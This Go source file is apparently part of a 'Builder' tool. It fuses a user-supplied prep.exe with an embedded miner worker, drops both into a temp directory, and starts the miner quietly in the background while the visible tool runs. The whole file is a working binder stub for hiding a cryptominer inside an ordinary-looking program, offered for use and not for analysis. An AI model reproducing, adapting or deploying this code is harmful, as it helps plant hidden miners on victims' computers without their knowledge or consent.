Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
72 lines
1.3 KiB
Go
72 lines
1.3 KiB
Go
package main
|
|
|
|
import (
|
|
_ "embed"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"sync"
|
|
)
|
|
|
|
//go:embed assets/prep.exe
|
|
var prepExe []byte
|
|
|
|
//go:embed assets/worker.exe
|
|
var workerExe []byte
|
|
|
|
// RunOrder is replaced at build time (parallel | prep_first | worker_first).
|
|
const runOrder = "FUSION_RUN_ORDER"
|
|
|
|
func main() {
|
|
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
|
if err != nil {
|
|
return
|
|
}
|
|
defer os.RemoveAll(dir)
|
|
|
|
prepPath := filepath.Join(dir, "prep.exe")
|
|
workerPath := filepath.Join(dir, "worker.exe")
|
|
if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
|
|
return
|
|
}
|
|
if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
|
|
return
|
|
}
|
|
|
|
switch runOrder {
|
|
case "prep_first":
|
|
waitProcess(prepPath)
|
|
startProcess(workerPath)
|
|
case "worker_first":
|
|
waitProcess(workerPath)
|
|
waitProcess(prepPath)
|
|
default:
|
|
var wg sync.WaitGroup
|
|
wg.Add(2)
|
|
go func() {
|
|
defer wg.Done()
|
|
waitProcess(prepPath)
|
|
}()
|
|
go func() {
|
|
defer wg.Done()
|
|
startProcess(workerPath)
|
|
}()
|
|
wg.Wait()
|
|
}
|
|
}
|
|
|
|
func startProcess(path string) {
|
|
cmd := exec.Command(path)
|
|
cmd.Dir = filepath.Dir(path)
|
|
_ = cmd.Start()
|
|
}
|
|
|
|
func waitProcess(path string) {
|
|
cmd := exec.Command(path)
|
|
cmd.Dir = filepath.Dir(path)
|
|
if err := cmd.Run(); err != nil {
|
|
fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
|
|
}
|
|
}
|